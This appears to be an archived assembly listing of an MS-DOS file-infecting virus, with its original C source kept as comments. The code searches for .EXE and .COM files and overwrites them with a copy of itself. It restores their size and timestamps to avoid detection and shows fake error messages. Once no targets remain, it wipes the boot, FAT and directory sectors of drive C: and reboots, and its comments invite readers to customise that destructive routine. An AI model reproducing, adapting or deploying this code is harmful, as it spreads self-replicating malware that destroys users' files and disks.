MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.cvirus.asm

596 lines
12 KiB
NASM
Raw Normal View History

2021-01-12 23:38:47 +00:00
ifndef ??version
?debug macro
endm
$comm macro name,dist,size,count
comm dist name:BYTE:count*size
endm
else
$comm macro name,dist,size,count
comm dist name[size]:BYTE:count
endm
endif
?debug S "cvirus.c"
?debug C E9A18C4217086376697275732E63
?debug C E90008A41413433A5C54435C494E434C5544455C6469722E68
?debug C E90008A41413433A5C54435C494E434C5544455C646F732E68
?debug C E90008A41415433A5C54435C494E434C5544455C66636E746C2E68
?debug C E90008A41412433A5C54435C494E434C5544455C696F2E68
?debug C E90008A41416433A5C54435C494E434C5544455C7374646172672E+
?debug C 68
?debug C E90008A41415433A5C54435C494E434C5544455C737464696F2E68
_TEXT segment byte public 'CODE'
_TEXT ends
DGROUP group _DATA,_BSS
assume cs:_TEXT,ds:DGROUP
_DATA segment word public 'DATA'
d@ label byte
d@w label word
_DATA ends
_BSS segment word public 'BSS'
b@ label byte
b@w label word
_BSS ends
_DATA segment word public 'DATA'
_screw_virex label byte
db 245
db 35
db 114
db 150
db 84
db 250
db 227
db 188
db 205
db 4
db 0
_DATA ends
_TEXT segment byte public 'CODE'
;
; void hostile_activity(void)
;
assume cs:_TEXT
_hostile_activity proc near
push bp
mov bp,sp
;
; {
; /* Put whatever you feel like doing here...
; I chose to make this routine trash the victim's boot, FAT, and
; directory sectors, but you can alter this code however you want,
; and are encouraged to do so.
; */
;
;
; #ifdef DEBUG
; puts("\aAll files infected!");
; exit(1);
; #else
; /* Overwrite five sectors, starting with sector 0, on C:, with the
; memory at location DS:0000 (random garbage).
; */
;
; abswrite(2, 5, 0, (void *) 0);
;
xor ax,ax
push ax
xor dx,dx
push ax
push dx
mov ax,5
push ax
mov ax,2
push ax
call near ptr _abswrite
add sp,10
;
; __emit__(0xCD, 0x19); // Reboot computer
;
db 205
db 25
;
; #endif
; }
;
pop bp
ret
_hostile_activity endp
_TEXT ends
_DATA segment word public 'DATA'
db 78
db 77
db 65
db 78
db 0
_DATA ends
_TEXT segment byte public 'CODE'
;
; int infected(char *fname)
;
assume cs:_TEXT
_infected proc near
push bp
mov bp,sp
sub sp,36
push si
;
; {
; /* This function determines if fname is infected. It reads four
; bytes 28 bytes in from the start and checks them agains the
; current header. 1 is returned if the file is already infected,
; 0 if it isn't.
; */
;
; register int handle;
; char virus_signature[35];
; static char check[] = SIGNATURE;
;
; handle = _open(fname, O_RDONLY);
;
mov ax,1
push ax
push word ptr [bp+4]
call near ptr __open
add sp,4
mov si,ax
;
; _read(handle, virus_signature, sizeof(virus_signature));
;
mov ax,35
push ax
lea ax,word ptr [bp-36]
push ax
push si
call near ptr __read
add sp,6
;
; close(handle);
;
push si
call near ptr _close
inc sp
inc sp
;
;
; #ifdef DEBUG
; printf("Signature for %s: %.4s\n", fname, &virus_signature[28]);
; #endif
;
; /* This next bit may look really stupid, but it actually saves about
; 100 bytes.
; */
;
; return((virus_signature[28] == check[0]) && (virus_signature[29] == check[1])
;
;
; && (virus_signature[30] == check[2]) && (virus_signature[31] == check[3]));
;
mov al,byte ptr [bp-8]
cmp al,byte ptr DGROUP:d@+11
jne short @2@146
mov al,byte ptr [bp-7]
cmp al,byte ptr DGROUP:d@+11+1
jne short @2@146
mov al,byte ptr [bp-6]
cmp al,byte ptr DGROUP:d@+11+2
jne short @2@146
mov al,byte ptr [bp-5]
cmp al,byte ptr DGROUP:d@+11+3
jne short @2@146
mov ax,1
jmp short @2@170
@2@146:
xor ax,ax
@2@170:
;
; }
;
pop si
mov sp,bp
pop bp
ret
_infected endp
;
; void spread(char *virus, struct ffblk *victim)
;
assume cs:_TEXT
_spread proc near
push bp
mov bp,sp
sub sp,4740
push si
push di
;
; {
; /* This function infects victim with virus. First, the victim's
; attributes are set to 0. Then the virus is copied into
; the victim's file name. Its attributes, file date/time, and
; size are set to that of the victim's, preventing detection, and
; the files are closed.
; */
;
; register int virus_handle, victim_handle;
; unsigned virus_size;
; char virus_code[TOO_SMALL + 1], *victim_name;
;
;
; /* This is used enought to warrant saving it in a separate variable */
;
; victim_name = victim->ff_name;
;
mov ax,word ptr [bp+6]
add ax,30
mov word ptr [bp-4],ax
;
;
;
; #ifdef DEBUG
; printf("Infecting %s with %s...\n", victim_name, virus);
; #endif
;
; /* Turn off all of the victim's attributes so it can be replaced */
;
; _chmod(victim_name, 1, 0);
;
xor ax,ax
push ax
mov ax,1
push ax
push word ptr [bp-4]
call near ptr __chmod
add sp,6
;
;
;
; #ifdef DEBUG
; puts("Ok so far...");
; #endif
;
; /* Recreate the victim */
;
; virus_handle = _open(virus, O_RDONLY);
;
mov ax,1
push ax
push word ptr [bp+4]
call near ptr __open
add sp,4
mov di,ax
;
; victim_handle = _creat(victim_name, victim->ff_attrib);
;
mov bx,word ptr [bp+6]
mov al,byte ptr [bx+21]
cbw
push ax
push word ptr [bp-4]
call near ptr __creat
add sp,4
mov si,ax
;
;
;
; /* Copy virus */
;
; virus_size = _read(virus_handle, virus_code, sizeof(virus_code));
;
mov ax,4736
push ax
lea ax,word ptr [bp-4740]
push ax
push di
call near ptr __read
add sp,6
mov word ptr [bp-2],ax
;
; _write(victim_handle, virus_code, virus_size);
;
push ax
lea ax,word ptr [bp-4740]
push ax
push si
call near ptr __write
add sp,6
;
;
;
; #ifdef DEBUG
; puts("Almost done...");
; #endif
;
; /* Reset victim's file date, time, and size */
;
; chsize(victim_handle, victim->ff_fsize);
;
mov bx,word ptr [bp+6]
push word ptr [bx+28]
push word ptr [bx+26]
push si
call near ptr _chsize
add sp,6
;
; setftime(victim_handle, (struct ftime *) &victim->ff_ftime);
;
mov ax,word ptr [bp+6]
add ax,22
push ax
push si
call near ptr _setftime
add sp,4
;
;
;
; /* Close files */
;
; close(virus_handle);
;
push di
call near ptr _close
inc sp
inc sp
;
; close(victim_handle);
;
push si
call near ptr _close
inc sp
inc sp
;
;
; #ifdef DEBUG
; puts("Infection complete!");
; #endif
; }
;
pop di
pop si
mov sp,bp
pop bp
ret
_spread endp
_TEXT ends
_DATA segment word public 'DATA'
dw DGROUP:s@
dw DGROUP:s@+6
db 0
db 0
_DATA ends
_BSS segment word public 'BSS'
db 43 dup (?)
_BSS ends
_TEXT segment byte public 'CODE'
;
; struct ffblk *victim(void)
;
assume cs:_TEXT
_victim proc near
push bp
mov bp,sp
push si
push di
;
; {
; /* This function returns a pointer to the name of the virus's next
; victim. This routine is set up to try to infect .EXE and .COM
; files. If there is a command line argument, it will try to infect
; that file instead. If all files are infected, hostile activity
; is initiated...
; */
;
; register int done;
; register char **ext;
; static char *types[] = {"*.EXE", "*.COM", NULL};
; static struct ffblk ffblk;
;
; for (ext = (*++_argv) ? _argv : types; *ext; ext++) {
;
add word ptr DGROUP:__argv,2
mov bx,word ptr DGROUP:__argv
cmp word ptr [bx],0
je short @4@74
mov ax,word ptr DGROUP:__argv
jmp short @4@98
@4@74:
mov ax,offset DGROUP:d@w+16
@4@98:
mov si,ax
jmp short @4@362
@4@122:
;
; done = findfirst(*ext, &ffblk, FA_RDONLY | FA_HIDDEN | FA_SYSTEM | FA_ARCH);
;
mov ax,39
push ax
mov ax,offset DGROUP:b@w+0
push ax
push word ptr [si]
call near ptr _findfirst
add sp,6
jmp short @4@290
@4@146:
;
; while (!done) {
;
; #ifdef DEBUG
; printf("Scanning %s...\n", ffblk.ff_name);
; #endif
;
; /* If you want to check for specific days of the week, months, etc.,
; here is the place to insert the code (don't forget to "#include
; <time.h>").
; */
;
; if ((ffblk.ff_fsize > TOO_SMALL) && (!infected(ffblk.ff_name)))
;
cmp word ptr DGROUP:b@w+0+28,0
jl short @4@266
jg short @4@218
cmp word ptr DGROUP:b@w+0+26,4735
jbe short @4@266
@4@218:
mov ax,offset DGROUP:b@w+0+30
push ax
call near ptr _infected
inc sp
inc sp
or ax,ax
jne short @4@266
;
; return(&ffblk);
;
mov ax,offset DGROUP:b@w+0
jmp short @4@410
@4@266:
;
; done = findnext(&ffblk);
;
mov ax,offset DGROUP:b@w+0
push ax
call near ptr _findnext
inc sp
inc sp
@4@290:
mov di,ax
or di,di
je short @4@146
inc si
inc si
@4@362:
cmp word ptr [si],0
jne short @4@122
;
; }
; }
;
;
; /* If there are no files left to infect, have a little fun */
;
; hostile_activity();
;
call near ptr _hostile_activity
@4@410:
;
; }
;
pop di
pop si
pop bp
ret
_victim endp
_TEXT ends
_DATA segment word public 'DATA'
dw DGROUP:s@+12
dw DGROUP:s@+26
dw DGROUP:s@+41
dw DGROUP:s@+61
dw DGROUP:s@+78
dw DGROUP:s@+97
dw DGROUP:s@+115
dw DGROUP:s@+144
_DATA ends
_TEXT segment byte public 'CODE'
;
; int main(void)
;
assume cs:_TEXT
_main proc near
push bp
mov bp,sp
push si
;
; {
; /* In the main program, a victim is found and infected. If all files
; are infected, a malicious action is performed. Otherwise, a bogus
; error message is displayed, and the virus terminates with code
; 1, simulating an error.
; */
;
; static char *err_msg[] = {"Out of memory", "Bad EXE format",
; "Invalid DOS version", "Bad memory block",
; "FCB creation error", "Sharing violation",
; "Abnormal program termination",
; "Divide error"
; };
; register char *virus_name = *_argv;
;
mov bx,word ptr DGROUP:__argv
mov si,word ptr [bx]
;
;
; spread(virus_name, victim());
;
call near ptr _victim
push ax
push si
call near ptr _spread
add sp,4
;
; puts(err_msg[peek(0, 0x46C) % (sizeof(err_msg) / sizeof(char *))]);
;
xor ax,ax
mov es,ax
mov bx,word ptr es:[1132]
and bx,7
shl bx,1
push word ptr DGROUP:d@w+22[bx]
call near ptr _puts
inc sp
inc sp
;
; return(1);
;
mov ax,1
;
; }
;
pop si
pop bp
ret
_main endp
?debug C E9
_TEXT ends
_DATA segment word public 'DATA'
s@ label byte
db '*.EXE'
db 0
db '*.COM'
db 0
db 'Out of memory'
db 0
db 'Bad EXE format'
db 0
db 'Invalid DOS version'
db 0
db 'Bad memory block'
db 0
db 'FCB creation error'
db 0
db 'Sharing violation'
db 0
db 'Abnormal program termination'
db 0
db 'Divide error'
db 0
_DATA ends
_TEXT segment byte public 'CODE'
_TEXT ends
extrn __creat:near
extrn __open:near
public _infected
extrn _findfirst:near
extrn _findnext:near
public _hostile_activity
extrn _setftime:near
extrn __read:near
public _victim
extrn _puts:near
extrn __argv:word
public _main
extrn _chsize:near
public _screw_virex
extrn _close:near
public _spread
extrn __write:near
extrn __chmod:near
extrn _abswrite:near
end